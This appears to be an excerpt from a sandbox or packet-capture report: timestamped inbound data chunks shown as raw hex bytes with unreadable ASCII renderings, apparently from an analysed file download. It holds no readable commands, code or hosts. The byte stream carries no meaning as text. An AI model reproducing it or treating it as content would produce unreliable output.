1c 0e 49 fd f8 b2 e1 a2 54 3c e7 cc 8a 32 fa 0b 0a 99 36 fe ec 62 c7 3c a0 e9 c5 11 81 dd 0e 25 71 17 54 e6 ad 1a 2b ee 
c6 6f 40 d6 88 41 c0 79 e0 fb 94 2f d4 7f df c5 77 89 95 7f ae e1 89 2e 20 a1 5d 5c 03 6c 91 8d a3 f8 11 46 11 5c 4f 79 cb 
bc 48 84 22 8e 57 36 ba 22 ee 39 15 14 66 b3 89 21 38 af 61 d7 2b b0 2c 38 c7 f1 95 33 b9 5b 2f 43 6e 09 14 a6 31 87 b5 
ab a7 a1 8d 63 6e 3d 87 77 3b 83 eb 50 7c dd f1 83 
Data Ascii: O<$DK9K*6&:r+D?AuJ['hFIS\@LJ~|nM$k9}Vn^b-n186+iIT<26b<%qT+o@Ay/w. ]\lF\OyH"W6"9f!8a+,83[
/Cn1cn=w;P|

2022-01-13 21:05:25 UTC 979 IN Data Raw: c6 4d f2 5a 13 8d 01 35 68 fc ae fe 3d c5 02 60 b4 82 5c de 33 5a 02 09 7c 4d db c5 2b c3 13 c8 64 e5 8c 0d 00 
48 53 0e 85 24 32 c8 1d 3f 05 65 62 13 f9 6b 0a aa 9c c4 12 4a 43 d1 0a 5e aa 23 67 be b8 37 73 e9 c5 81 af 08 f3 de 96 
9f 23 7b bc fc de e7 ec a1 d4 df ef 98 3d d1 46 5b c0 10 09 87 fc 0a 51 1c d2 ec 56 bf f7 a2 1a 8e 27 b5 e9 bb ad 4c b8 82 
e4 60 a1 6c 13 46 4b 46 18 c3 66 c2 44 7b 20 41 71 d4 3b d8 ac 9f 68 01 b6 a4 52 5a 40 30 e0 77 c6 b2 4d 23 5e 09 b2 f8 
06 5f ef b5 82 3f 06 87 5c fe 
Data Ascii: MZ5h=`\3Z|M+dHS$2?ebkJC^#g7s#{=F[QV'L`lFKFfD{ Aq;hRZ@0wM#^_?\

2022-01-13 21:05:25 UTC 979 IN Data Raw: 38 5e a4 11 7b e1 ba f1 f8 82 73 ee f6 96 54 f2 7c 16 1a c4 15 31 79 5c 47 78 ab c3 63 1c af 1d 49 1c 05 44 72 
b0 1f 3c bc 4c 1c 3e 82 a8 a0 c2 16 b9 5b 88 52 a1 df d2 76 6d ea 36 2e 91 a8 ca 03 a9 c4 3b 50 09 9b 96 5e 23 57 62 5b 
0c 5a ac 9e 2d fa 43 92 98 13 af e2 b6 c1 93 b6 f4 0c e3 e7 06 ce 60 5d a8 b5 36 4d 98 e0 65 13 11 70 98 82 bc fd cc 86 
88 37 ba 50 0f f1 a5 1c 82 0e 04 6f 06 f0 15 7c 95 41 48 d8 8a f9 bd 21 d0 98 12 0a 94 6f 70 cb df ab 74 d7 c6 46 f7 50 4d 
fe ba 61 cf 24 65 ff a7 2c 9d b8 62 f4 41 f6 1a 5e 0b 6a cf cd 0e f7 cd 40 6d 55 a0 6e 87 6c 7f 4d 01 1b aa e7 99 f5 6b 93 
02 c0 90 24 40 be 94 a5 69 79 f2 0f 5f 36 00 29 af 1f eb cc 27 2d 4b 67 cd c1 12 15 57 00 1c a9 19 07 b2 63 e9 35 26 71 
68 08 c7 74 8a 70 94 c3 31 31 5f bf f5 a9 b5 bf 
Data Ascii: 8^{sT|1y\GxcIDr<L>[Rvm6.;P^#Wb[Z-C`]6Mep7Po|AH!optFPMa$e,bA^j@mUnlMk$@iy_6)'-KgWc5&qhtp11_

2022-01-13 21:05:25 UTC 980 IN Data Raw: 86 22 54 d1 88 24 79 a2 e5 44 91 18 74 42 f8 15 be f1 49 ad 1c be 0d 43 7c f8 f6 13 b5 72 94 95 01 96 90 9b 
1a 2c a4 08 44 96 53 af b9 c5 96 57 ae 16 c4 52 a2 24 88 12 a0 f2 03 35 1a 11 25 30 9e 82 a7 86 d1 90 2a 54 29 1a 15 1e 
7a 33 3d 98 0d 47 b3 ac 04 36 a1 39 86 93 d2 51 42 a5 7d 0f 4f b3 10 08 13 ff 67 22 4a a4 9f 75 26 53 c8 55 25 e0 cb 88 
a8 1b ce 60 46 49 41 aa 08 8d 9a 7a 19 30 4a 01 80 eb 2f 10 7d c0 4f 63 c9 8b 7a d7 94 22 57 e7 af 0d 71 95 98 41 8b d3 
e9 8f b2 ec b7 30 99 51 ff 4f 25 4e 84 0a ce c4 fb b7 1b 08 8c 60 af 42 41 c2 61 b8 38 89 5f b2 d1 db 10 10 10 5d d6 38 89 
48 86 a0 06 69 37 10 21 32 04 35 40 13 a7 50 43 93 30 ed 86 ff d4 63 03 8d 09 e0 cd d0 64 a9 b1 a0 38 91 e9 e0 ac 33 e9 
1e 52 46 46 8d 03 50 84 de 0d a7 50 a1 0f c6 67 84 fb 
Data Ascii: "T$yDtBIC|r,DSWR$5%0*T)z3=G69QB}Og"Ju&SU%`FIAz0J/}Ocz"WqA0QO%N`BAa8_]8Hi7!25@P
C0cd83RFFPPg

2022-01-13 21:05:25 UTC 982 IN Data Raw: f2 9a 48 a9 98 42 43 68 ca 5a f2 2e 01 ca 90 a4 a1 56 c1 6a 62 21 4b 4b c5 18 ac 4f ea da e7 73 50 64 3e ca 
41 93 8b f9 cf 9f 3e dc 5e 15 1f 7e be ac eb eb ea e6 19 1d fc 4a 3e 7b e3 d5 11 83 a4 cb 06 21 6f ae cd 97 5f e9 e7 cf d3 
d9 c9 70 92 ff 91 cd be 0c ba 78 6f 32 71 5c 2c ef a4 c5 0e d2 22 34 38 db 80 0e dc 1f 65 f1 e0 0d 2e 6f de 55 57 f7 db e3 
9f 5f bb c7 97 a0 7f 21 a0 36 10 0a fe c7 20 4d 2b 82 d4 db 2e b3 0f 1e 0f c6 17 e3 b0 10 3c 97 50 28 d3 16 cc 66 b9 e2 0c 
31 3c 6c ed 57 86 c0 33 a2 ab dd a5 ed 80 47 00 24 01 9c b8 ec ad 98 95 ce 5d f4 16 48 48 b1 86 bf cd ba 6a 9c c6 40 45 
27 44 73 ae 61 6b c6 39 67 d8 de 3b f5 88 19 4a 04 05 20 a0 2d 94 70 aa a1 16 22 f5 8c 9a 8d 43 03 0d 18 e1 e0 dd 46 29 
a6 8c a0 04 6a 82 a5 c8 1a e0 d9 db a5 e0 1d a0 
Data Ascii: HBChZ.Vjb!KKOsPd>A>^~J>{!o_pxo2q\,"48e.oUW_!6 M+.<P(f1<lW3G$]HHj@E'Dsak9g;J -p"CF)j

2022-01-13 21:05:25 UTC 983 IN Data Raw: d5 f5 bb cb cb 9b 30 b1 95 8c ab 76 28 28 b9 02 1b 2a 66 b4 06 3c 60 89 a4 48 46 81 de 81 b6 90 4f fb ce 45 
aa 3a c4 bd 6c a8 68 29 dd f0 5f 5a 4b 5d d3 8c cd 4d f0 b3 83 c1 e3 c1 8b 71 43 c4 48 88 5c 6e ac 54 d0 db 4b 95 b6 de 
e7 a3 10 03 06 9b ed 07 40 07 56 33 83 57 ef 1f 1f bf f7 3f dc eb 1c ac dc 3f c4 49 93 57 73 2a 27 85 20 e0 16 9a 29 03 ca 
d2 44 50 f4 b8 ea 5e 69 e1 a1 09 a1 72 01 ce 5c c3 62 42 b1 08 c9 3b 1d 2a 34 7c 1f 2e 4b 52 80 2c d6 70 f8 2f 54 6d 4a 
2c 2a 48 dc 63 e0 67 70 db f1 3a 3a 1e 08 e7 3d d2 d4 a4 8b b6 be dc d2 0b df 83 20 07 eb d2 56 28 25 09 17 0a 82 89 b8 
13 10 a1 50 20 de cb 41 54 d7 ca 78 16 a0 a2 bf e3 5a d6 64 ea c1 72 76 3a 68 05 54 b2 c1 de d1 f0 e6 4e 5b 18 a9 18 a1 
50 ce 99 85 62 a8 2c 7a d6 1b 1b 60 1d 25 ca 78 18 71 
Data Ascii: 0v((*f<`HFOE:lh)_ZK]MqCH\nTK@V3W??IWs*' )DP^ir\bB;*4|.KR,p/TmJ,*Hcgp::= V(%P ATxZdrv:hTN
[Pb,z`%xq

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 984 IN Data Raw: e9 2c c7 f9 74 f5 fb 72 78 9a 2f 5e ef 53 c0 aa 61 42 61 34 9c 8c b2 d3 d5 f3 e5 62 31 9d a4 3c a4 97 5d 53 0a 
d3 c9 02 04 00 2e b2 b9 93 69 9f 08 36 4e 4c 88 8c f3 f1 6a 32 5d ac 16 b3 44 0c ac 43 4e d6 1f 67 d9 f8 f9 70 f4 72 95 9d 
0d f3 d3 d5 71 9e 9d 8e f7 09 61 d7 dd fa 09 1d 4f 67 67 ab 71 36 1f cd f2 73 54 2c e4 6c ab 9f da 8b 6c 38 ce 66 fb 34 b0 
ce a9 9f c6 f9 6c 7a 76 be 48 d4 93 8e 6f fa 49 cc b2 df 97 f9 2c 4b 54 83 4d 8e fa a9 2c 5e 9f 67 07 cc 9d 0e f7 13 52 67 
f9 6c 36 9d e5 93 93 d6 77 57 f3 e5 73 a7 23 f8 2a 71 63 04 48 25 04 27 d9 e2 d5 74 f6 12 fc e8 f8 38 9b 39 77 7c 95 1f e7 
89 be 11 ac de 4b aa 4f 40 ec 9d a2 5e 22 f3 e1 59 86 b2 82 9d d3 f4 52 79 e5 6c b6 3a 1f 25 aa 49 f1 4d 4a 63 ba bf 0a 
bb 5a 9a 2c 3b 9f e5 17 c3 d1 eb d5 78 b8 
Data Ascii: ,trx/^SaBa4b1<]S.i6NLj2]DCNgprqaOggq6sT,ll8f4lzvHoI,KTM,^gRgl6wWs#*qcH%'t89w|KO@^"YRyl:%IMJcZ,;x

2022-01-13 21:05:25 UTC 985 IN Data Raw: 67 39 8e 47 8a 49 9e 6e 7d 8a 69 91 39 64 e2 78 dc 73 5c a0 b1 a0 8d f2 06 94 ad 80 0b 7a a9 0a a7 25 7b 59 
74 cc 2b bb 56 a6 24 b0 e5 5a 3a 73 85 f4 6e ae b1 a0 37 b9 30 b3 71 0b 56 29 69 44 e1 b5 96 b0 11 a1 2d bf 85 fa 50 5e 
d5 54 a6 54 e0 44 1c d1 4a 66 2a 27 3f 2c 82 e3 d6 fa bf e9 72 93 d2 5a e3 ee df 4b 74 4a 2a d9 79 94 46 dc 26 b6 d3 48 
bb b1 00 29 7e 12 ee f2 38 f1 c5 8a 20 80 31 c6 49 e1 95 0f d6 b3 ce c0 93 4d c7 5d 25 01 17 ba 28 7c e1 4c a5 5b 26 18 
ed 8a 3c 77 e7 aa 69 3c d5 56 23 15 2f 40 39 95 33 85 f5 c1 58 27 1d eb 98 f0 f5 23 e3 13 95 e5 9a fa ca ba 13 5d 2b 74 
70 56 80 ca 2b a1 84 f6 5b ce 18 9d dc ca 85 b4 1e 0d 47 ed c1 68 72 de ed bd 7c d4 3a bb be 7e f7 61 d1 7a 71 fd 47 74 
18 be d8 bc fa 5a 18 2b b7 91 58 8f f6 99 94 65 f9 a8 ec 
Data Ascii: g9GIn}i9dxs\z%{Yt+V$Z:sn70qV)iD-P^TTDJf*'?,rZKtJ*yF&H)~8 1IM]%(|L[&<wi<V#/@93X'#]+tpV+[Ghr|:~azqGt
Z+Xe

2022-01-13 21:05:25 UTC 987 IN Data Raw: 99 6e ef ad a6 8f c2 7a c1 74 99 a9 4c 37 8f 38 5f b3 ef 50 30 b2 51 d5 cb d9 e8 3e 3a 78 b8 65 61 e6 53 ef da 
54 c4 bd 4d 31 29 56 8a 04 0d 95 9b f2 92 cd 55 3c 93 b8 d2 41 71 d1 0a a7 79 38 f4 26 5f 8f af b9 c0 87 38 f0 6a 53 64 
3b 0d 98 97 64 3a 5f 9f aa 51 be 6b 14 56 91 48 9b 6c a2 55 38 89 44 8d 15 36 57 d1 4f 8b 8b ed c6 b0 77 09 ef 70 7d fd 
b9 4e ec 10 f5 8f 32 53 eb 9f 06 fb 78 3f c3 48 e5 d9 fa 78 14 cd 4f e9 3e b7 2b 66 23 64 a2 1e d4 5e 27 3e d8 85 65 1d 48 
50 eb 43 06 2a ff 94 12 3d bc 34 11 77 a9 db 4c 9f 04 22 95 04 29 6a 0e 78 45 be d8 e1 36 9b 06 bc 79 a0 ed 8d af 79 03 
bd c6 54 d1 48 e3 b5 10 02 92 5f 07 79 11 24 df 7c eb 33 0b b8 be 3f 23 6e 6c 34 2e 9b 6f 57 8c 39 52 7e 52 bb 6b a6 8a 
bf a5 53 16 1a f2 37 5d e5 60 42 59 0d 39 3e 7b 4a 
Data Ascii: nztL78_P0Q>:xeaSTM1)VU<Aqy8&_8jSd;d:_QkVHlU8D6WOwp}N2Sx?HxO>+f#d^'>eHPC*=4wL")jxE6yyTH_y
$|3?#nl4.oW9R~RkS7]`BY9>{J

2022-01-13 21:05:25 UTC 988 IN Data Raw: 87 1c 98 b9 50 1c f9 49 51 ae 91 ab 2e 0e 1c e1 d8 91 16 61 5e 44 0e a7 78 80 a3 37 42 95 5c 5b f7 5b fb 23 
39 d4 be 9a 47 f8 fe 33 ee 3f f4 95 f5 fc 0d 90 b1 df 3c ce 3e 35 b4 ac 8b c7 0d ab 46 ab 7c be 79 b9 1f dd 21 d9 31 e3 15 
d0 24 1e 16 44 16 ed a5 16 08 20 74 57 08 25 ab fe 33 a4 73 06 60 33 eb 25 91 a7 a1 c8 ad d1 4a a4 9e d8 49 08 38 00 
36 04 a4 de e0 8a 05 84 83 0c 4c bb 2f 1a e7 eb 23 91 f5 58 b1 b0 6e e0 5b 0b 56 19 30 cf b7 a6 1b fa 2e 81 22 8d 6a ea 
23 4e 27 a9 67 4c 12 00 ee f8 a2 ea 43 55 15 3b 69 04 1d 02 c7 b5 53 74 c8 87 cc 26 37 ca a8 ff 42 79 e5 c3 54 67 a9 10 
f6 2c ce ae 30 0e 18 91 86 6c d3 09 e7 aa 79 7c 78 c3 27 6b 18 af 46 fd 6c dc a0 17 69 b9 aa 46 6c 25 58 a4 91 06 f2 57 
7a 07 03 ee 1e ef b0 95 ed d1 3b c9 06 c9 2c 15 0f b7 76 
Data Ascii: PIQ.a^Dx7B\[[#9G3?<>5F|y!1$D tW%3s`3%JI86L/#Xn[V0."j#N'gLCU;iSt&7ByTg,0ly|x'kFliFl%XWz;,v

2022-01-13 21:05:25 UTC 989 IN Data Raw: d2 ef 93 08 c6 54 03 f2 04 c6 bd 2e 40 85 f3 f3 ee 59 97 e1 09 77 5f 0e 47 ab d3 1d 9e b4 07 9d 4a 52 a7 dd c1 
45 9b 33 45 ee 46 52 8e d6 69 b7 57 d6 ee 65 02 96 dd 63 82 0f d7 f1 e7 08 d5 34 32 41 9e a9 9b 72 24 7a 6d 0a bf e8 53 
e5 b8 95 fd 97 d4 c5 d3 87 04 71 2b 07 65 e5 60 99 73 73 37 27 71 04 32 cb b9 27 58 e5 96 d7 a6 46 7c 29 93 a0 64 09 
70 f1 81 9b d1 cc 12 18 8e c1 52 a9 37 e4 aa 15 1c 8d 1a 0f 3d 1f 9f 4d fa 83 49 59 01 1b aa 8e f4 8e df 2c a1 4a bf fb af 
4a 0a 84 99 87 03 67 89 9c 96 ed d1 18 62 55 05 f8 4a c6 eb d2 5b a3 b2 a4 20 54 50 a5 e6 9e b7 95 a5 00 c0 f5 6f e0 7d 
c0 4e 73 c1 8b 7b d0 1c 47 2e c6 af 2d 7e 95 b9 e3 21 4f e7 74 50 96 ff a0 c1 8c 7b 00 77 9e 08 e7 9c 99 47 f0 6d 21 30 
00 59 d1 83 d0 5b 29 f2 24 fe 56 0e 5e 52 40 c0 d4 fb 
Data Ascii: T.@Yw_GJRE3EFRiWec42Ar$zmSq+e`ss7'q2'XF|)dpR7=MIY,JJgbUJ[ TPo}Ns{G.-~!OtP{wGm!0Y[)$V^R@

2022-01-13 21:05:25 UTC 990 IN Data Raw: 7f cd 17 a2 f1 05 b1 56 d2 17 5d 0f fc 0f 0d a5 1d 97 cc 69 66 ad 50 4e 70 4e 55 9d aa f6 71 ce 6d d9 c8 38 95 
19 86 ec 44 76 1b cb 9c 54 a9 8c af 2b be ec dc 84 82 af cb 2c 22 42 54 20 1c c4 91 3c 99 d3 99 10 50 90 a0 c8 e7 4b d8 
6d 32 9a c0 70 cb c5 93 8f ef 3f dd 15 ef 9f dc de dc dc d7 0f cf f8 e0 67 f6 39 14 3b 5f 52 b5 af 21 00 0e f9 e5 67 fe f9 f3 6c
7e 36 9c 4e fe 91 cf bf f8 97 57 c1 a5 37 e5 80 7a 5a a4 4f fb a5 62 47 03 de a2 4b 9f f0 ed c3 db fa ae 5f fe 8f 5f 93 ff 12 
ed a0 14 2a 2b e3 70 3b f0 4b 67 8c 40 9e d2 da 4d 03 a6 4f 07 e3 ab 71 14 44 c0 30 0e c0 72 30 9f 93 99 14 94 07 58 5d 
9d f8 32 6f 3c 5a 89 42 b5 c8 5a f1 4d c0 1f cd bc 87 6c a8 6a 96 57 de c3 da 86 42 67 6d 07 98 84 05 ae 31 66 a4 34 78 
97 90 52 0a aa 94 b3 f6 69 ce 14 07 10 
Data Ascii: V]ifPNpNUqm8DvT+,"BT <PKm2p?g9;_R!gl~6NW7zZObGK__*+p;Kg@MOqD0r0X]2o<ZBZMljWBgm1f4xRi

2022-01-13 21:05:25 UTC 992 IN Data Raw: 16 2d 8f 06 0a a0 5d a0 3a df 06 39 b7 a3 d7 2e 63 da 55 a2 48 36 63 7b cb 23 75 8c f8 ad b9 da 61 79 0c f6 3d 
a4 cb 58 52 6f 0f eb 61 b3 d6 4c 33 a9 d0 06 82 bf 08 ff 13 c5 5c 74 68 42 75 a0 67 e0 5d 36 ac c6 2f b6 16 ec 64 35 3f ef 
90 c2 43 b8 f5 c9 3a 88 2d 8a ff 20 db 9f 2c 36 6b 40 73 87 c6 0a 85 1f db 46 4f ea a8 b9 7b d8 f1 3e af d9 f6 2b 07 68 e0 
ed f9 27 ff 89 0d 3e 2a f4 8f f1 3d 99 83 3b a4 33 f0 8f 65 9a 81 3f 7c 3d 07 10 c9 a7 17 51 dc 00 d5 e1 55 cf ee 60 28 e1 
34 49 f2 1c 8b a5 38 c0 91 f2 1b ad 8a d8 c9 42 33 ba 67 cd 11 1d e0 06 e0 5c 8a c8 a4 c6 38 ac cd 3e 9f 74 02 2b 46 08 
5a 85 28 e6 84 6d fa f9 59 c3 f8 65 a7 c4 22 7e fd 04 28 8c 04 b6 48 ca 37 df 86 a1 61 4d 19 43 26 73 14 30 6e 1c bc 85 
c4 22 d6 44 91 9c 0e 6a c4 60 ff 9d fd 4c 43 
Data Ascii: -]:9.cUH6c{#uay=XRoaL3\thBug]6/d5?C:- ,6k@sFO{>+h'>*=;3e?|=QU`(4I8B3g\8>t+FZ(mYe"~(H7aMC
&s0n"Dj`LC

2022-01-13 21:05:25 UTC 993 IN Data Raw: cf da d8 5d 2f 56 cf bd 8d f0 a7 24 8c 09 e6 90 28 9c e6 cb 57 b3 f9 4b c4 d1 e9 69 3e f7 e1 f8 6a 72 3a 49 ec 
4d 90 cb 5e 55 7d 1b a4 ee d3 f6 2a 59 0c 2f 72 72 29 d4 00 b9 57 cb 2b ef b3 f5 e5 28 31 4d 0a ed a9 8e d9 a1 14 75 69 
25 11 bb 9c 4f ae 86 a3 d7 eb f1 70 39 5c af 16 c3 b3 9c 48 a7 e4 e2 48 a2 66 e1 f9 16 5d 5c 28 3c a3 e5 cf 67 67 49 79 
24 7a 47 42 78 b9 ba 5c 5f 4d 16 93 e7 93 10 64 bd 2e 25 ee a2 a6 da 66 a7 cb 57 c3 79 7f e4 53 c8 9a 68 59 4d 5f 4e 67 
af 12 59 aa 95 4f 64 af 26 e3 bc bf da 13 9c a8 47 c3 e2 62 36 5b be 98 e6 8b c4 aa d4 bd e8 44 c9 eb 3c 05 2b e2 be 59 
90 5b 9c ad 4f 51 90 11 bd cb 19 b0 66 91 94 2f ea b8 bb 95 84 a5 50 6d c6 f9 74 92 56 2c ea 84 7f 5f 6e 39 b9 c8 b1 e0 
24 f1 88 d1 73 2b 78 11 d0 6c 9a 8f 96 cd aa 13 fb 10 
Data Ascii: ]/V$(WKi>jr:IM^U}*Y/rr)W+(1Mui%Op9\HHf]\(<ggIy$zGBx\_Md.%fWyShYM_NgYOd&Gb6[D<+Y[OQf/PmtV
,_n9$s+xl

2022-01-13 21:05:25 UTC 994 IN Data Raw: 15 52 17 79 be 5c a7 da 07 88 36 62 6f a2 a4 d7 ac fd a1 95 1c 0f c3 e4 cd 77 fc 07 fe f1 08 96 6d d7 e4 36 fd 
92 af 17 69 51 72 93 5a 31 fe e5 36 cf aa 34 ab 98 7d 6f 0c be 93 56 58 fa d9 e4 3f 3f 9b 28 2d b0 f6 16 28 35 d8 47 4f 4f 
1d ce 9a 6d bf 1c fa eb fb 53 f2 ef cf 75 aa eb fa f7 a7 e5 96 64 ed 17 a2 7d 29 d2 bb f7 9f 8f be 54 d5 b6 7c 77 7a 5a d6 db
6d 5e 54 27 4b ee a1 93 db 7c 73 7a bb 73 f1 29 c9 ca 9f d3 e2 d4 0c 78 96 7f 3e d2 2a 52 2c d3 0a f2 b3 39 82 64 f5 f9 a8 
55 cc 1e a2 dd ae 49 59 e2 c7 22 fd 6f 4d 8b 74 f1 56 58 04 c1 6c f9 b6 fc 92 ff 8c 1f ff 51 e5 db 93 b2 be bb a3 b7 14 9b 
eb a7 e9 62 4e 6e 99 2a ee 02 e4 82 e3 39 a6 8d 67 7a 96 a9 7b ae 21 47 1a 32 7d 8d 53 a7 da 0a 86 66 b0 89 d0 77 bf 
fb 18 95 5e 36 7e ed 18 4c 71 0c 0a 33 95 
Data Ascii: Ry\6bowm6iQrZ164}oVX??(-(5GOOmSud})T|wzZm^T'K|szs)x>*R,9dUIY"oMtVXlQbNn*9gz{!G2}Sfw^6~Lq3

Timestamp
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2022-01-13 21:05:25 UTC 996 IN Data Raw: 2e 8d 4a 6f 5b ae 8d 46 d2 41 2f e9 59 8e ec f5 83 2e 32 4b 59 98 ac 88 88 ef 8a 4d 01 a8 d0 65 b2 3e d4 b7 
51 7a c0 30 75 db 95 02 f3 8a cc 01 3a c0 73 86 36 9b f4 b0 97 df f7 c4 31 9e 54 6a f7 34 e5 d9 8d a7 ec 80 8d f9 ec 45 fb 
f7 5c 10 4e b4 1f 53 aa 15 00 19 2a b0 69 2e 70 1c 8c 59 88 02 b4 59 4c 92 07 3c 05 5f 50 59 d8 98 61 07 ae 04 4f 26 5b 
d8 01 dc 6e 22 e3 45 07 da ea bc 05 7d 2f d2 e7 76 f3 e4 8f b4 95 af f4 8d 6d 3f a2 70 ea eb 6d e1 ef ec 04 ab 22 af b1 6d 
f4 27 79 d5 74 84 8e 69 b9 6d 43 e2 80 fe 01 ee 4c df f3 00 50 81 ee 18 52 30 83 a1 d0 0d 3b 4e 21 e0 39 0e 9b 11 38 01 
68 1b 18 80 cc c3 f8 3c a1 25 9d 1f 7a 42 0c 7c 0b cf f2 41 bd c0 43 c0 59 a4 d0 09 9b 7a 44 19 ab dc 6c 69 0d 6b d9 44 
a9 73 7e f0 08 66 8b 48 bd af b3 25 70 82 c5 2c e2 
Data Ascii: .Jo[FA/Y.2KYMe>Qz0u:s61Tj4E\NS*i.pYYL<_PYaO&[n"E}/vm?pm"m'ytimCLPR0;N!98h<%zB|ACYzDlikDs
~fH%p,

2022-01-13 21:05:25 UTC 997 IN Data Raw: 82 48 88 d2 7d 33 4c 8e d9 4d e6 b6 b9 d6 4f 8b 07 44 03 0e bc 25 e4 a4 58 e4 62 9e 96 84 63 4d dc 26 8b 19 
67 b0 f3 7f b6 dc 7f 9d 80 dd c2 79 ba ef 5b 3e 5a 02 36 fb 93 5b 8e dd 5c 6a e7 b7 ae 4d 7b d6 89 76 d3 78 94 b3 a3 d7 
c7 4f d7 51 2f 0e 67 a3 c1 74 12 8d 66 61 af 17 4f e2 41 12 5e cd ce 07 d7 d7 51 32 19 1f da a1 ba 62 95 f5 4c 7b f1 60 f6 
d3 34 bc 8a 27 9f 0e 35 a8 d0 55 d2 70 1e 26 e7 d1 d5 ec 6c 3a 99 0c 12 d9 06 f9 0a 53 d6 30 48 26 d8 00 ac 88 c6 6c 4f 
87 4a 54 fd ac a4 a4 17 f7 66 c9 60 32 9b 8c a4 6d a8 f8 b6 24 df 8f a2 de 59 78 7e 39 8b ae c3 f8 6a d6 8f a3 ab de a1 22 
d5 bd 48 b7 a2 fe 60 74 3d eb 45 e3 f3 51 3c 54 6e 4b 31 20 eb d6 f6 21 0a 7b d1 e8 50 87 8a 50 76 eb 18 8e 06 d7 c3 89 
e4 1e b9 7f eb 56 31 8a 7e 9a c6 a3 48 72 8d aa 73 
Data Ascii: H}3LMOD%XbcM&gy[>Z6[\jM{vxOQ/gtfaOA^Q2bL{`4'5Up&l:S0H&lOJTf`2m$Yx~9j"H`t=EQ<TnK1 !{PPvV1
~Hrs

2022-01-13 21:05:25 UTC 998 IN Data Raw: bb 54 ab a4 89 be e1 ff ac b5 6d b2 13 4f a0 4f 49 bc d5 e8 fe 91 6e 9e d3 a7 72 cb be 3d 27 f9 86 2e ea 7b 33 
ba ce 8b 32 4b b5 a7 0a 6f 91 97 1c ce 58 ac 37 e5 6f 42 1d 28 e2 78 ae 63 39 c4 d4 7d e2 da 97 da 44 71 c6 65 96 71 8e 
d5 64 94 eb 46 77 94 03 58 86 67 c1 30 0e 64 3d dd 70 5c 53 bf 44 78 48 56 71 0a d5 e2 dd 96 ab 2e 00 17 02 c1 36 0c 
dd 22 8e 67 9a 3a 70 88 69 4b 08 83 38 39 ac e2 67 be ae 5c 4b 0e cf 71 b2 4a 0b 2d a7 0c 95 2d be bc d1 fa 7c 91 ab 43 
79 ad 89 07 55 cf 31 93 5d 12 17 da b3 70 43 06 ac 1b f1 60 9b f8 04 4f b6 5c 9d 78 86 e7 db 9e ac fa a5 d2 8f b9 ec 52 c7
74 1c cf 71 2d 66 48 cb b7 4c d7 91 17 f0 4c 13 28 4a b7 62 cd 1e 81 d9 0d d7 72 6c cf b7 6c 57 77 a5 98 9a ac 2b 4b 9b 
cb 72 2b 1e e3 d9 c4 f4 5d 9b c0 51 06 31 88 e9 c9 ea 
Data Ascii: TmOOInr='.{32KoX7oB(xc9}DqeqdFwXg0d=p\SDxHVq.6"g:piK89g\KqJ--|CyU1]pC`O\xRtq-fHLL(JbrllW
w+Kr+]Q1

2022-01-13 21:05:25 UTC 999 IN Data Raw: 98 fc 6e 99 9c 56 9d 5c db a7 f8 9a 08 ed b6 b5 81 56 07 f0 f3 a3 6d ae 1b 5e ca ba e6 5a 78 01 0e 62 2a 0b 
b6 09 1d 33 ad b1 6b 6d 47 6e c5 c6 40 4f 30 44 99 95 b5 08 4c b9 2a d7 f8 9d af 6f 4d 37 7b 3e 0e f0 c4 c0 c8 66 82 47 
a0 5a a1 8f 23 39 4c 89 66 33 ca 5c 97 7c 84 4b 35 e3 e0 f2 a9 ee bf 09 2c 07 f3 89 6d b2 4c 25 86 6d a2 f4 49 83 1b 0f 4a
31 87 70 a6 6f 19 e8 13 18 6d 2c d7 43 ab 70 2c dd 93 72 f3 58 d8 f6 59 7c 10 0c 8d 0f 2f 22 b4 61 b2 7d 46 f3 26 0d 58 a8
c1 6c 48 56 9a 88 44 2d f2 f3 09 a8 3c 3c e2 1a 1b 7c 10 5e 3f 34 0e 59 36 9a 87 87 79 d4 a8 86 42 db 93 db 52 b0 67 0f 
8c b5 dd d9 3c 76 fe e0 1a b8 19 58 7f ec d9 ae 8d 4a ee 1b a6 8d d6 62 fb 44 7e f6 79 2f cf b1 78 e6 1f b8 1a da 3c d3 ac 
4e 7b 36 a2 26 79 22 12 b6 38 d7 ad ae 4e 0b 5a 
Data Ascii: nV\Vm^Zxb*3kmGn@O0DL*oM7{>fGZ#9Lf3\|K5,mL%mIJ1pom,Cp,rXY|/"a}F&XlHVD-<<|^?4Y6yBRg<vXJbD~
y/x<N{6&y"8NZ

2022-01-13 21:05:25 UTC 1001 IN Data Raw: 11 a0 3d a5 6c 13 b4 76 79 9d 44 a0 e6 eb 26 1f 84 d3 31 c2 7a c4 d4 1d 03 bd 0a f3 bb 2b 13 8b 1f 61 7b 2b 
ca 3d 2c 12 1b c9 ab 22 7d f8 f9 27 ac a3 3e 2d a4 db 6b cd b8 b6 f8 4d 77 ef 0f ec 11 76 f3 ed e7 5a 41 d7 71 0d cb 00 fb 
01 93 33 51 c8 db 46 ee 4a c5 46 af 4a 13 d0 ab cb c8 e3 9d 8d 25 12 9b cf 74 c0 1b 06 18 af 21 11 93 28 6e f7 a7 47 3c 
c6 66 40 6c 2a aa 4d 7c 4f 12 0f 2a 5a a8 d8 7e f6 d0 98 7c df 77 2a 5e 64 59 ae 2e d7 83 f1 91 03 29 ce 52 3d b3 ea 02 
9e 07 7a e6 10 17 d3 a5 54 0b ba 17 f5 f9 b2 f4 55 c5 a1 65 8f f0 4c e5 e4 cf ed da 8a a5 fd 79 6d 1b 6c dd 64 55 da 33 1d 
10 38 df f2 a5 56 79 c2 2c 3d d0 62 10 71 4b 07 e3 62 3c cf 52 a7 0d 66 72 36 0b 51 04 22 02 bf 09 28 74 d8 6b 6d 81 22 
dd 9e 51 bf 37 34 79 e0 c0 ba e5 59 3a ba 3b 5a bc 
Data Ascii: =lvyD&1z+a{+=,"}'>-kMwvZAq3QFJFJ%t!(nG<f@l*M|O*Z~|w*^dY.)R=zTUeLymldU38Vy,=bqKb<Rfr6Q"(t
km"Q74yY:;Z

2022-01-13 21:05:25 UTC 1002 IN Data Raw: 90 9e 46 d3 7e 38 97 12 43 f1 9a fa 89 30 1f 0b 31 b2 08 c2 d0 09 46 ac 8a 49 2b 50 bc 7f d0 a0 80 a2 4a e6 
52 1c 31 d4 f7 8f 82 d9 44 12 50 bd aa db 08 f4 03 b9 7c 29 5e 64 ae ef 9f 84 a1 d4 9e 55 3b 7f f5 fd b3 81 6a 09 aa 5d f5 
